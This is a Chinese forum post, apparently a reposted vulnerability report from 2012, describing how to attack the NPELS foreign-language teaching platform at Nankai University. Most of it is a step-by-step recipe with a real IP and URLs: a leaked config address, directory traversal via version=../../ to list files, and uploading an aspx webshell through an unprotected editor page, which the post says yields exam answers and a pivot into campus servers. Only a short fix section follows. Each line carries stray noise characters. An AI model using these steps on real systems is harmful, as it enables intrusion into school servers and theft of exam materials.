找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2212|回复: 0
打印 上一主题 下一主题

新理念外语网络教学平台文件上传漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-4 11:10:29 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
好多大学都在用这个教学平台,这个漏洞会导致直接拿到试题答案,甚至作为跳板继续渗透进入学校其他服务器中
6 F/ ^* i  c3 K" ^. ]! a
3 K3 t4 a3 i/ W1 D6 _) Q3 e详细说明:( s6 u0 P) c0 S" d  d* i' y: P
2 Q& A/ g1 M" D0 w- l$ q* C: L
以南开大学的为例:
: b# Z; T. {! n  M, X5 W2 F8 chttp://222.30.60.3/NPELS3 U; p- W  g) ~, r  h, j1 O& H. d+ q
NPELS_LearningCenter_5.0 客户端下的 Update.exe.config 文件泄露一个重要地址
2 n1 @  V% N; q: g  A6 Q% k<setting name="Update_CommonSvr_CommonService" serializeAs="String">4 }5 e" j+ V( T" I" j& S) w! S8 t% \
<value>http://222.30.60.3/NPELS/CommonService.asmx</value>- p6 Q$ M/ M$ ]( e1 I- x( Z( ^8 ]/ `
</setting>3 x4 ~: [3 k$ x3 \  L
及版本号0 y7 L; c% g" _9 J
<add key="TVersion" value="1, 0, 0, 2187">
, |6 F" r( e6 Z</add>' ~% @5 n% i. I9 Q! y
直接访问
1 `: {9 F# z9 v" \, J" u6 Mhttp://222.30.60.3/NPELS/CommonService.asmx
, w# X& A6 O! V; O' z% d% _7 J使用GetTestClientFileList操作,直接 HTTP GET 列目录:  C# Z& _$ B+ j* T+ K) n  w2 n
http://222.30.60.3/NPELS/CommonS ... tFileList?version=1, 0, 0, 21870 Q. r$ D5 i2 ^6 }
进一步列目录(返回的网页很大,可以直接 wget 下来)
8 ?# ?! D, j3 J$ L& vhttp://222.30.60.3/NPELS/CommonS ... List?version=../../
+ w, d  ~# x% y6 Q6 N: G2 I
. M0 W- v: a/ \& {发现
. }) x7 v5 I3 ^3 V5 \8 r) e6 ^* rhttp://zzxx.nankai.edu.cn/npelsv/editor/editor.htm' V& x3 W: S$ f1 K: O* x. b
可以上传,直接上传aspx木马即可,不需要改后缀名或者文件头
/ l) S& d! ^3 o2 i1 a上传后继续列目录找到木马地址直接访问即可7 A7 O* [. R+ |  G
& ?. ]5 k8 J* X3 O3 M# n
OOXX) d, e$ x3 N4 ~# H

) F6 G1 u- D: k5 l% J1 [* G5 PGoogle "新理念外语网络教学平台" 测试了几个其他的站,都有类似的列目录上传方法
( w, t* [" ~1 `8 j2 m* H$ Q1 }9 N- L漏洞证明:% @8 x: K; c3 U- F! e

# q5 Q: s' W& g" b0 z列目录:/ M/ a" [3 ~- ], W; ~
http://222.30.60.3/NPELS/CommonS ... List?version=../../7 }6 R/ u  [- f; u- P1 N
文件上传:5 T9 f/ h) P, ]1 h0 d1 F' ^* x
http://222.30.60.3/npelsv/editor/editor.htm
4 h; U& H+ }, d( E8 t4 _8 M8 F5 c; A
. w7 A0 M3 Y7 }) h( c; t3 T: a1 s上传木马:
) P) _8 O" o6 G4 f2 Thttp://222.30.60.3/npelsv/editor/uploadfiles/1.aspx( f; b; M# e2 `' M# ~, T) p. y

3 w: Q9 d8 X# B/ [修复方案:
' G8 c5 J# i% N$ I4 J# ?# d) R8 W2 Q& H6 {好像考试系统必须使用 CommonService.asmx
/ ~6 q! U4 l! ~4 {; Y最好配置文件加密或者用别的方式不让它泄露出来
+ u0 B0 Q; X( ~( t# q0 J# p并且检查或删除各上传入口,像 http://222.30.60.3/NPELS/Upload.aspx 一样​0 C1 m! X/ s: J
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表